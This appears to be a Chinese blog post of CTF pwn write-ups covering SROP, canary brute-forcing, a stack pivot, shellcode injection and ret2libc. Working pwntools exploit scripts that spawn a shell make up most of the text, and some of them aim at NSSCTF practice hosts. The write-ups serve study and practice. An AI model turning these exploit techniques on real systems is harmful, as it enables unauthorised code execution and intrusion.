第二周 pwn的wp

[CISCN 2019华南]PWN3

$ checksec pwn3
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/pwn3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

​ 仅开启栈不可执行保护,一次read,一次write,可泄露栈地址
​ 又发现gadgets: .text:00000000004004DA mov rax, 0Fh 64位系统,很显然是SROP。

​ 由于第一次写SROP稍微介绍下原理,SROP就是利用系统中断到恢复时会在用户空间中保存和恢复上下文,并且由于内核和信号处理程序是相互分离的,为进程恢复时不会检查该 Signal Frame 是否属于该进程,也就是说可以伪造。
​ 利用时需要控制 rax 寄存器,并且执行 syscall ,同时还要有足够大小的已知位置可以用来存放伪造的 sigcontext

​ 上文中我们已知可控制 rax 寄存器的 gadgets ,并且有函数可以泄露栈地址,所以我们还需要再用 ROPgadget 搜索 syscallretret 是为了保证栈对齐的(可能用不到,但要有)。

$ ROPgadget --binary pwn3 --only "syscall|ret"
Gadgets information
============================================================
0x00000000004003a9 : ret
0x0000000000400501 : syscall

Unique gadgets found: 2

值得一提的是,pwntools中集成了SROP,最后看一下exp:

from pwn import *
from LibcSearcher import LibcSearcher
# context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
sh = process('./pwn3')

def debug(p):
	gdb.attach(p,"b *0x400503")
def end(p):
	p.interactive()

vuln_addr = 0x4004F1
syscall_ret = 0x400517
rax_0xf_ret = 0x4004da
ret_addr = 0x4003a9
# get binsh_addr
payload = b'/bin/sh\x00'.ljust(0x10,b'a') + p64(vuln_addr) 
sh.sendline(payload)
stack_addr = u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.info("binsh_addr-->0x%x" %stack_addr)
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = stack_addr - 0x128
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
payload = b'a'*0x10 + p64(rax_0xf_ret) + p64(syscall_ret)  + flat(sigframe)
sh.sendline(payload)
sh.interactive()

​ 值得一提的是,本题中padding仅覆盖到了栈结束的位置,没有如往常一样覆盖 bp 寄存器。这里讲解一下,这是由于调用write函数的方式不同造成的,看下列汇编代码

.text:0000000000400517                 syscall                 ; LINUX - sys_write
.text:0000000000400519                 retn
.text:0000000000400519 vuln            endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
.text:000000000040051A                 db 90h
.text:000000000040051B ; ---------------------------------------------------------------------------
.text:000000000040051B                 pop     rbp
.text:000000000040051C                 retn
.text:000000000040051C ; } // starts at 4004ED

可以看到,0x400519处显示 sp指针定位错误,这是由于IDA在反汇编时将retn当做函数返回导致的,实际的函数返回在0x40051c处。第一处的retn其实是通过retn进行函数调用,我们的溢出点就在这里,所以我们才可以在挟持程序流的同时泄露栈位置。

​ 另外就是伪造的 sigcontext 的rdi指针,那个 栈地址到binsh字符串的偏移是要自己算的。

大体上就是这些了,本来还想着就 retn 处直接挟持程序流写一篇博客来着,现在看来可能也不是那么需要。(千万不要迷醉于流量陷阱!)

[CISCN 2023 初赛]funcanary

签到题,但是很搞笑,用frok不断创建新进程,所以一直都在执行所以这道题要爆破出canary和 backdoor 位置。

$ checksec service
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/service'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
from pwn import *
#p = process('./service')
p=remote('node5.anna.nssctf.cn',28406)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
    for i in range(256):
        p.send(b'a'*0x68 + canary + p8(i))
        a = p.recvuntil("welcome\n")
        if b"fun" in a:
                canary += p8(i)
                print(b"canary: " + canary)
                break               

while(1):
    catflag = 0x0231
    for i in range(16):
        payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
        p.send(payload)
        #pause()s
        a = p.recvuntil("welcome\n",timeout=1)
        print(a)
        if b"welcome" in a:
                catflag += 0x1000
                continue
        if b"NSSCTF" in a:
            print(a)
            break
p.interactive()

[CISCN 2019华南]PWN4

32位的栈迁移,很标准,所以还是签到题

$ checksec pwn4
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/pwn4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
from pwn import *
from LibcSearcher import LibcSearcher
# context(os='linux',arch='i386',log_level='debug')
sh = process('./pwn4')
sh = remote("node5.anna.nssctf.cn",29000)

def end(p):
	p.interactive()

# get buf_addr
sh.send(b'a'*0x28)
sh.recvuntil(b'a'*0x28)
buf_addr = u32(sh.recv(4))-0x38
log.info("buf_addr ==> 0x%x" %buf_addr)

# get shell
leave_ret = 0x08048562
ret_addr = 0x080483a6
call_system = 0x08048559
payload = b'a'*0x4 + p32(call_system) + p32(buf_addr+0x10) + b'a'*0x4 + b'/bin/sh\0'
payload = payload.ljust(0x28,b'a') + p32(buf_addr) + p32(leave_ret)
sh.send(payload)

end(sh)

[CISCN 2019华北]PWN5

我你这他…纯签到

$ checksec pwn5
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/pwn5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
from pwn import *
from LibcSearcher import LibcSearcher
# context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
sh = process('./pwn5')
sh = remote('node4.anna.nssctf.cn',28407)
shellcode=asm(shellcraft.amd64.sh())
sh.sendafter(b'tell me your name',shellcode)
payload = b'a'*0x28 + p64(0x601080)
sh.sendlineafter(b'What do you want to say to me?',payload)
sh.interactive()

ps: 怎么这么多签到?

$ checksec pwn6
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/pwn6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

libc 板子题,就是我发现我的elf.plt[‘’]用不了,不知道为什么

[LitCTF 2023]狠狠的溢出涅~

找一道libc题凑个数,呜呜每周五道写不完

from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux',arch='amd64',log_level='debug')
sh = process('./pwn6')

def debug(p):
	gdb.attach(p)
def libc(sym):
	# get libc
	puts_plt = 0x400570
	puts_got = 0x601018
	rdi_ret = 0x4007d3
	ret_addr = 0x400556
	main_addr = 0x4006B0
	padding = b'\x00'*0x68
	payload = flat([padding,rdi_ret,puts_got,puts_plt,main_addr])
	sh.sendlineafter(b'message:\n',payload)
	# get system&binsh
	addr = u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
	libc = LibcSearcher(sym, addr)
	libc_base = addr - libc.dump(sym)
	system_addr = libc_base + libc.dump('system')
	binsh_addr = libc_base + libc.dump('str_bin_sh')
	log.info(sym+"addr-->0x%x" %addr)
	log.info("system_addr-->0x%x" %system_addr)
	log.info("binsh_addr-->0x%x" %binsh_addr)
	return (system_addr,binsh_addr)
def end(p):
	p.interactive()
rdi_ret = 0x4007d3
ret_addr = 0x400556
(system_addr,binsh_addr)=libc('puts')
payload = flat([b'\x00'*0x68,ret_addr,rdi_ret,binsh_addr,system_addr])
sh.sendlineafter(b'message:\n',payload)
sh.interactive()
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# p = process(['./pwn4'])
p = remote('node4.anna.nssctf.cn', 28223)
elf = ELF('./pwn4')
libc = ELF('./libc-2.31.so')

rop = ROP('./pwn4')
print(hex(rop.rdi.address))
payload = flat(
    [b'\x00', cyclic(0x60 + 0x08 - 0x01), rop.rdi.address, elf.got['puts'], elf.plt['puts'], elf.sym['main']])
p.sendlineafter(b'Leave your message:\n', payload)
p.recvuntil(b'Ok,Message Received\n')
puts_addr = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = flat([b'\x00', cyclic(0x60 + 0x08 - 0x01), rop.ret.address, rop.rdi.address, str_bin_sh, system_addr, 0])
p.sendlineafter(b'Leave your message:\n', payload)

p.interactive()
  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值